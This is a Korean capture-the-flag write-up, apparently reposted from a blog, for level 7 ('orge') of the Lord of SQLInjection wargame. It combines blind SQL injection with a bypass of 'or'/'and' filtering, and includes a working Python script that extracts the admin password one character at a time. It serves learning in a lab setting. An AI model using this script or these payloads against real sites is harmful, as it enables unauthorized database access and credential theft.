OS - 7번 orge
[07] orge
문제
풀이
천천히 살펴보면, 4번 문제와 6번 문제를 합쳐놓았다는 것을 알 수 있다.
- 4번 Blind SQLi + 6번 or/and 필터링
4번 문제를 풀 때 썼던 Blind SQLi 자동화 코드에
6번 문제를 풀 때 썼던 or/and 필터링 우회 방법을 적용시켜주면 될 것 같다.
따라서 자동화 코드의 파라미터 부분을 다음과 같이 수정해준다.
param=f"?{param_name}=' || id=\"admin\" %26%26 length({param_name})={num} %23"
-
or ⇒ ||
-
and ⇒ %26%26
import requests
def check_length(url, cookie, param_name):
head = {"PHPSESSID":f"{cookie}"}
print("대상 문자열의 길이를 확인중입니다..")
for num in range(0,30):
param=f"?{param_name}=' || id=\"admin\" %26%26 length({param_name})={num} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" in res.text):
return num
def blind_sqli(url, cookie, param_name, length):
head = {"PHPSESSID":f"{cookie}"}
ans=""
for len in range(1, length+1):
print(f"{len}번째 문자에 대해 검색중입니다..")
for ran in range(32,127):
param=f"?{param_name}=' || id=\"admin\" %26%26 ascii(substr({param_name},{len},1))={ran} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" in res.text):
print(f"{len}번째 문자 → {chr(ran)}")
ans+=chr(ran)
break
return ans
if __name__ == "__main__":
print("💘 Blind 공격을 시작합니다")
url=input("URL을 입력하세요:")
cookie=input("cookie를 알려주세요:")
param_name=input("파라미터의 이름을 알려주세요:")
length=check_length(url, cookie, param_name)
print(f"👏 {param_name}의 길이는 {length}입니다.")
ans=blind_sqli(url, cookie, param_name, length)
print(f"👏 {param_name}의 정체는 {ans}입니다!")
exit
Blind 공격 결과, admin의 pw는 7b751aec
임을 알 수 있다.
결과
Author And Source
이 문제에 관하여(OS - 7번 orge), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@sookyeongyeom/LOS-7번-orge저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)